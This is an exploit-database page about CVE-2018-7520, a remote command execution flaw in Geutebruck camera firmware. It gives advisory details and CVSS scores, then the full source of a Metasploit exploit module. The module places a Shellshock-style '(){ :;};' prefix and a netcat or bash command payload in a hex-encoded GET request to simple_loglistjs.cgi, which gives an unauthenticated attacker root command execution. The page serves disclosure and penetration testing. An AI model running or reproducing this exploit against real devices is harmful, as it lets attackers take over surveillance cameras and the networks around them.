Geutebruck simple_loglistjs.cgi Remote Command Execution

2018.07.02
Credit: Davy Douhine
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Geutebruck simple_loglistjs.cgi Remote Command Execution', 'Description' => %q{ This module exploits a an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an anonymous user to execute arbitrary commands with root privileges. Firmware <= 1.12.0.19 are concerned. Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware. }, 'Author' => [ 'Nicolas Mattiocco', #CVE-2018-7520 (RCE) 'Davy Douhine' #CVE-2018-7520 (RCE) and metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-7520' ], [ 'URL', 'http://geutebruck.com' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat bash', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 20 2018')) register_options( [ OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/simple_loglistjs.cgi']), ], self.class) end def exploit header = "(){ :;}; " encpayload = "#{header}#{payload.encoded}" uri = target_uri.path + "?" + Rex::Text.uri_encode(encpayload, "hex-all") print_status("#{rhost}:#{rport} - Attempting to exploit...") res = send_request_raw( { 'method' => 'GET', 'uri' => uri }) end end


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